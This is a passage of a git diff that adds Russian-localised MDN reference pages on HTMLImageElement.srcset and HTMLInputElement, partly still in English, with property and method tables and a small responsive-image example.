+<p>If the condition descriptor is not provided (in other words, the image candidate provides only a URL), the candidate is used as the fallback if none of the other candidates match. Otherwise, the condition descriptor may take one of two forms:</p>
+
+<ul>
+ <li>To indicate that the image resource specified by the image candidate string should be used when the image is being rendered with a particular width in pixels, provide a <strong>width descriptor</strong> comprised the number giving that width in pixels followed by the lower case letter "w". For example, to provide an image resource to be used when the renderer needs a 450 pixel wide image, use the width descriptor string <code>450w</code>. The specified width must be a positive, non-zero, integer, and <em>must</em> match the intrinsic width of the referenced image.</li>
+ <li>Alternatively, you can use a <strong>pixel density descriptor</strong>, which specifies the condition in which th corresponding image resource should be used as the display's pixel density. This is written by stating the pixel density as a positive, non-zero floating-point value followed by the lower-case letter "x". As an example, to state that the corresponding  image should be used when the pixel density is double the standard density, you can give the pixel density descriptor <code>2x</code> or <code>2.0x</code>.</li>
+</ul>
+
+<p>You may mix and match the two types of descriptor. You must not, however, provide multiple image candidate strings that specify the same descriptor. All of the following are valid image candidate strings:</p>
+
+<pre>"images/team-photo.jpg 1x, images/team-photo-retina.jpg 2x, images/team-photo-full 2048w"</pre>
+
+<p>This string provides versions of an image to be used at the standard pixel density (<code>1x</code>) as well as double that pixel density (<code>2x</code>). Also available is a version of the image for use at a width of 2048 pixels (<code>2048w</code>).</p>
+
+<pre>"header640.png 640w, header960.png 960w, header1024.png 1024w, header.png"</pre>
+
+<p>This string provides versions of a header image to use when the {{Glossary("user agent", "user agent's")}} renderer needs an image of width 640px, 960px, or 1024px. An additional, fallback image candidate is provided without any condition at all, to be used for any other width.</p>
+
+<pre>"icon32px.png 32w, icon64px.png 64w, icon-retina.png 2x icon-ultra.png 3x icon.svg"</pre>
+
+<p>Here, options are provided for an icon at widths of 32px and 64px, as well as at pixel densities of 2x and 3x. A fallback image is provided as an SVG file that should be used in all other cases. Notice that the candidates may use different image types.</p>
+
+<p>For more information on what image formats are available for use in the {{HTMLElement("img")}} element, see <a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML below indicates that the default image is the 200 pixel wide version of the clock image we use in several places throughout our documentation. Also specified by the <code>srcset</code> attribute is that the 200-pixel version should be used for 1x displays while the 400-pixel version should be used for 2x displays.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+  &lt;img src="/files/16797/clock-demo-200px.png"
+       alt="Clock"
+       srcset="/files/16864/clock-demo-200px.png 1x, /files/16797/clock-demo-400px.png 2x"&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>The CSS simply specifies that the image and its surrounding box should be 200 pixels square and should have a simple border around it. Also provided is the {{cssxref("word-break")}} attribute, using the <code>break-all</code> value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur.</p>
+
+<pre class="brush: css">.box {
+  width: 200px;
+  border: 2px solid rgba(150, 150, 150, 255);
+  padding: 0.5em;
+  word-break: break-all;
+}
+
+.box img {
+  width: 200px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>The following code is run within a handler for the {{domxref("Window", "window")}}'s {{domxref("Window.load_event", "load")}} event.  It uses the image's  {{domxref("HTMLImageElement.currentSrc", "currentSrc")}} property to fetch and display the URL selected by the browser from the <code>srcset</code>.</p>
+
+<pre class="brush: js">let box = document.querySelector(".box");
+let image = box.querySelector("img");
+
+let newElem = document.createElement("p");
+newElem.innerHTML = `Image: &lt;code&gt;${image.currentSrc}&lt;/code&gt;`;
+box.appendChild(newElem);
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>In the displayed output below, the selected URL will correspond with whether your display results in selecting the 1x or the 2x version of the image. If you happen to have both standard and high density displays, try moving this window between them and reloading the page to see the results change.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 320)}}</p>
+
+<p>For additional examples, see our guide to <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">responsive images</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-img-srcset', 'HTMLImageElement.srcset')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная поддержка</h2>
+
+
+
+<p>{{Compat("api.HTMLImageElement.srcset")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlinputelement/index.html b/files/ru/web/api/htmlinputelement/index.html
new file mode 100644
index 0000000000..9d0cf541ff
--- /dev/null
+++ b/files/ru/web/api/htmlinputelement/index.html
@@ -0,0 +1,633 @@
+---
+title: HTMLInputElement
+slug: Web/API/HTMLInputElement
+translation_of: Web/API/HTMLInputElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Интерфейс <strong><code>HTMLInputElement</code></strong> <span id="result_box" lang="ru"><span class="alt-edited">предоставляет специальные свойства и методы</span></span> (расширяющие интерфейс {{domxref("HTMLElement")}} который также доступен через наследование) для управления размещением и отображением элементов input.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p><em>Наследует свойства своего родителя, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Название</th>
+   <th>Тип</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("accept", "input") }} HTML attribute, containing comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A single character that switches input focus to the control.</td>
+  </tr>
+  <tr>
+   <td><code>align</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Alignment of the element.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("alt", "input") }} HTML attribute, containing alternative text to use when {{htmlattrxref("type","input")}} is <code>image.</code></td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code> {{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Defines capitalization behavior for user input. Valid values are <code>none</code>, <code>off</code>, <code>characters</code>, <code>words</code>, or <code>sentences</code>.</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("autocomplete", "input")}} HTML attribute, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">hidden</span>, <span style="font-family: courier new;">checkbox</span>, <span style="font-family: courier new;">radio</span>, <span style="font-family: courier new;">file</span>, or a button type (<span style="font-family: courier new;">button</span>, <span style="font-family: courier new;">submit</span>, <span style="font-family: courier new;">reset</span>, <span style="font-family: courier new;">image</span>). Possible values are:
+    <ul>
+     <li><span style="font-family: courier new;">off</span>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.</li>
+     <li><span style="font-family: courier new;">on</span>: Браузер может автоматически подставить значение основываясь на том, что ранее пользователь вводил в данном в предыдущий раз</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("autofocus", "input") }} HTML attribute, which specifies that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the {{htmlattrxref("autofocus","input")}} attribute. It cannot be applied if the {{htmlattrxref("type","input")}} attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>The current state of the element when {{htmlattrxref("type","input")}} is <code>checkbox</code> or <code>radio</code>.</td>
+  </tr>
+  <tr>
+   <td><code>defaultChecked</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>The default state of a radio button or checkbox as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>defaultValue</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The default value as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>dirName</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("disabled", "input") }} HTML attribute, indicating that the control is not available for interaction. The input values will not be submitted with the form. See also {{ htmlattrxref("readOnly", "input") }} </td>
+  </tr>
+  <tr>
+   <td><code>files</code> {{readonlyInline}}</td>
+   <td>{{domxref("FileList")}}</td>
+   <td>A list of selected files.</td>
+  </tr>
+  <tr>
+   <td><code>form</code> {{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>The containing form element, if this element is in a form. If this element is not contained in a form element:
+    <ul>
+     <li>{{ HTMLVersionInline(5) }} this can be the {{ htmlattrxref("id", "form") }} attribute of any {{ HTMLElement("form") }} element in the same document. Even if the attribute is set on {{ HTMLElement("input") }}, this property will be <code>null</code>, if it isn't the id of a {{ HTMLElement("form") }} element.</li>
+     <li>{{ HTMLVersionInline(4) }} this must be <code>null</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formaction", "input") }} HTML attribute, containing the URI of a program that processes information submitted by the element. If specified, this attribute overrides the {{ htmlattrxref("action", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formenctype", "input") }} HTML attribute, containing the type of content that is used to submit the form to the server. If specified, this attribute overrides the {{ htmlattrxref("enctype", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formmethod", "input") }} HTML attribute, containing the HTTP method that the browser uses to submit the form. If specified, this attribute overrides the {{ htmlattrxref("method", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("formnovalidate", "input") }} HTML attribute, indicating that the form is not to be validated when it is submitted. If specified, this attribute overrides the {{ htmlattrxref("novalidate", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formtarget", "input") }} HTML attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. If specified, this attribute overrides the {{ htmlattrxref("target", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("height", "input") }} HTML attribute, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">image</span>.</td>
+  </tr>
+  <tr>
+   <td><code>indeterminate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indicates that a checkbox is neither on nor off.</td>
+  </tr>
+  <tr>
+   <td><code>labels</code> {{readonlyInline}}</td>
+   <td>{{domxref("NodeList")}}</td>
+   <td>A list of {{ HTMLElement("label") }} elements that are labels for this element.</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{domxref("HTMLElement")}}</td>
+   <td>Identifies a list of pre-defined options to suggest to the user. The value must be the <strong>id</strong> of a {{HTMLElement("datalist")}} element in the same document. The browser displays only options that are valid values for this input element. This attribute is ignored when the {{htmlattrxref("type","input")}} attribute's value is <span style="font-family: courier new;">hidden</span>, <span style="font-family: courier new;">checkbox</span>, <span style="font-family: courier new;">radio</span>, <span style="font-family: courier new;">file</span>, or a button type.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("max", "input") }} HTML attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>maxLength</code></td>
+   <td> <code>long</code></td>
+   <td>Reflects the {{ htmlattrxref("maxlength", "input") }} HTML attribute, containing the maximum length of text (in Unicode code points) that the value can be changed to. The constraint is evaluated only when the value is changed
+    <div class="note"><strong>Note:</strong> If you set <code>maxLength</code> to a negative value programmatically, an exception will be thrown.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("min", "input") }} HTML attribute, containing the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td> </td>
+   <td>Reflects the {{ htmlattrxref("multiple", "input") }} HTML attribute, indicating whether more than one value is possible (e.g., multiple files).</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("name", "input") }} HTML attribute, containing a name that identifies the element when submitting the form.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("pattern", "input") }} HTML attribute, containing a regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the {{htmlattrxref("title","input")}} attribute to describe the pattern to help the user. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">text</span>, <span style="font-family: courier new;">search</span>, <span style="font-family: courier new;">tel</span>, <span style="font-family: courier new;">url</span> or <span style="font-family: courier new;">email</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("placeholder", "input") }} HTML attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">text</span>, <span style="font-family: courier new;">search</span>, <span style="font-family: courier new;">tel</span>, <span style="font-family: courier new;">url</span> or <span style="font-family: courier new;">email</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p>Reflects the {{ htmlattrxref("readonly", "input") }} HTML attribute, indicating that the user cannot modify the value of the control.<br>
+     {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">hidden</span>, <span style="font-family: courier new;">range</span>, <span style="font-family: courier new;">color</span>, <span style="font-family: courier new;">checkbox</span>, <span style="font-family: courier new;">radio</span>, <span style="font-family: courier new;">file</span>, or a button type.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("required", "input") }} HTML attribute, indicating that the user must fill in a value before submitting a form.</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The direction in which selection occurred. This is <code>"forward"</code> if selection was performed in the start-to-end direction of the current locale, or <code>"backward"</code> for the opposite direction. This can also be <code>"none"</code> if the direction is unknown."</td>
+  </tr>
+  <tr>
+   <td><code>selectionEnd</code></td>
+   <td><code>unsigned long</code></td>
+   <td>The index of the end of selected text.</td>
+  </tr>
+  <tr>
+   <td><code>selectionStart</code></td>
+   <td><code>unsigned long</code></td>
+   <td>The index of the beginning of selected text. When nothing is selected, this is also the caret position inside of the <code>&lt;input&gt;</code> element.</td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Reflects the {{ htmlattrxref("size", "input") }} HTML attribute, containing size of the control. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">text</span> or <span style="font-family: courier new;">password</span>, in which case, it is an integer number of characters. {{ HTMLVersionInline(5) }} Applies only when {{htmlattrxref("type","input")}} is set to <span style="font-family: courier new;">text</span>, <span style="font-family: courier new;">search</span>, <span style="font-family: courier new;">tel</span>, <span style="font-family: courier new;">url</span>, <span style="font-family: courier new;">email</span>, or <span style="font-family: courier new;">password</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("src", "input") }} HTML attribute, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">image</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("step", "input") }} HTML attribute, which works with<strong> </strong>{{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string <span style="font-family: courier new;">any</span> or a positive floating point number. If this is not set to <span style="font-family: courier new;">any</span>, the control accepts only values at multiples of the step value greater than the minimum.</td>
+  </tr>
+  <tr>
+   <td><code>tabIndex</code></td>
+   <td>long</td>
+   <td>The position of the element in the tabbing navigation order for the current document.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("type", "input") }} HTML attribute, indicating the type of control to display. See {{ htmlattrxref("type", "input") }} attribute of {{ HTMLElement("input") }} for possible values.</td>
+  </tr>
+  <tr>
+   <td><code>useMap</code> {{ obsolete_inline }}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A client-side image map.</td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is <code>false</code>), or it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td>{{domxref("ValidityState")}}</td>
+   <td>The validity state that this element is in. </td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Current value in the control.</p>
+
+    <div class="note">
+    <p><strong>Note: </strong>for certain input types the returned value might not match the value the user has entered. For example, if the user enters a non-numeric value into an &lt;input type="number"&gt;, the returned value might be an empty string instead.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>valueAsDate</code></td>
+   <td>{{domxref("Date")}}</td>
+   <td>The value of the element, interpreted as a date, or <code>null</code> if conversion is not possible.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsNumber</code></td>
+   <td><code>double</code></td>
+   <td>The value of the element, interpreted as one of the following in order:
+    <ol>
+     <li>a time value</li>
+     <li>a number</li>
+     <li><code>NaN</code> if conversion is not possible</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("width", "input") }} HTML attribute, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">image</span>.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indicates whether the element is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Name &amp; Arguments</th>
+   <th>Return</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>blur()</code></td>
+   <td><code>void</code></td>
+   <td>Removes focus from input; keystrokes will subsequently go nowhere.</td>
+  </tr>
+  <tr>
+   <td><code>checkValidity</code>()</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Returns false if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns true if the element is not a candidate for constraint validation, or if it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>click()</code></td>
+   <td><code>void</code></td>
+   <td>Simulates a click on the element.</td>
+  </tr>
+  <tr>
+   <td><code>focus()</code></td>
+   <td><code>void</code></td>
+   <td>Focus on input; keystrokes will subsequently go to this element.</td>
+  </tr>
+  <tr>
+   <td><code>mozSetFileArray(files)</code>{{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Sets the files selected on the input to the given array of <code><a href="/en-US/docs/Web/API/File">File</a></code> objects.  This is an alternative to <code>mozSetFileNameArray</code> which can be used in frame scripts: a chrome script can <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">open files as <code>File</code> objects</a> and send them via <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a>.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.mozGetFileNameArray" title="en/DOM/Input.mozGetFileNameArray">mozGetFileNameArray</a>(length, filenames)</code>{{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Returns an array of all the file names from the input.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.mozSetFileNameArray" title="en/DOM/Input.mozSetFileNameArray">mozSetFileNameArray</a>(filenames, length)</code>{{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Sets the filenames for the files selected on the input.  Not for use in <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">frame scripts</a>, because it accesses the filesystem.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.select" title="en/DOM/Input.select">select</a>()</code></td>
+   <td><code>void</code></td>
+   <td>Selects the input text in the element, and focuses it so the user can subsequently replace the whole entry.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity(error)</code></td>
+   <td><code>void</code></td>
+   <td>Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.setSelectionRange" title="en/DOM/Input.setSelectionRange">setSelectionRange</a>(selectionStart, selectionEnd, [optional] selectionDirection)</code></td>
+   <td><code>void</code></td>
+   <td>Selects a range of text in the element (but does not focus it). The optional <code>selectionDirection</code> parameter may be <code>"forward"</code> or <code>"backward"</code> to establish the direction in which selection was set, or <code>"none"</code> if the direction is unknown or not relevant. The default is <code>"none"</code>. Specifying a <code>selectionDirection</code> parameter sets the value of the <code>selectionDirection</code> property.</td>
+  </tr>
+  <tr>
+   <td><code>setRangeText(replacement, [optional] start, [optional] end, [optional] selectMode)</code></td>
+   <td><code>void</code></td>
+   <td>Replaces a range of text with the new text. Supported input types: <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>password.</code></td>
+  </tr>
+  <tr>
+   <td><code>stepDown(n)</code></td>
+   <td><code>void</code></td>
+   <td>Decrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * <code>n</code>), where <code>n</code> defaults to <code>1</code> if not specified. Throws an <code>INVALID_STATE_ERR</code> exception:
+    <ul>
+     <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.</li>
+     <li>if the element has no {{htmlattrxref("step","input")}} value.</li>
+     <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number.</li>
+     <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}. </li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>stepUp(n)</code></td>
+   <td><code>void</code></td>
+   <td>Increments the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * <code>n</code>), where <code>n</code> defaults to <code>1</code> if not specified. Throws an <code>INVALID_STATE_ERR</code> exception:
+    <ul>
+     <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.</li>
+     <li>if the element has no {{htmlattrxref("step","input")}} value.</li>
+     <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number.</li>
+     <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tthe-input-element.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Technically, the  <code>tabindex</code> and <code>accesskey</code> properties, as well as the <code>blur()</code>, <code>click()</code>, and <code>focus()</code> methods, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following properties are now obsolete: <code>align</code> and <code>useMap</code>.<br>
+    The following properties have been added: <code>autocomplete</code>, <code>autofocus</code>, <code>dirName</code>, <code>files</code>, <code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formNoValidate</code>, <code>formTarget</code>, <code>height</code>, <code>indeterminate</code>, <code>labels</code>, <code>list</code>, <code>max</code>, <code>min</code>, <code>multiple</code>, <code>pattern</code>, <code>placeholder</code>, <code>required</code>, <code>selectionDirection</code>, <code>selectionEnd</code>, <code>selectionStart</code>, <code>step</code>, <code>validationMessage</code>, <code>validity</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>, <code>width</code>, and <code>willValidate</code>.<br>
+    The following methods have been added: <code>checkValidity()</code>, <code>setCustomValidity()</code>, <code>setSelectionRange()</code>, <code>stepUp()</code>, and <code>stepDown()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>size</code> property is now an <code>unsigned</code> <code>long</code>. The <code>type</code> property must be entirely given in lowercase characters.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code> &amp; <code>autofocus</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>files</code> property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code> property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>indeterminate</code> property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>list</code> property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
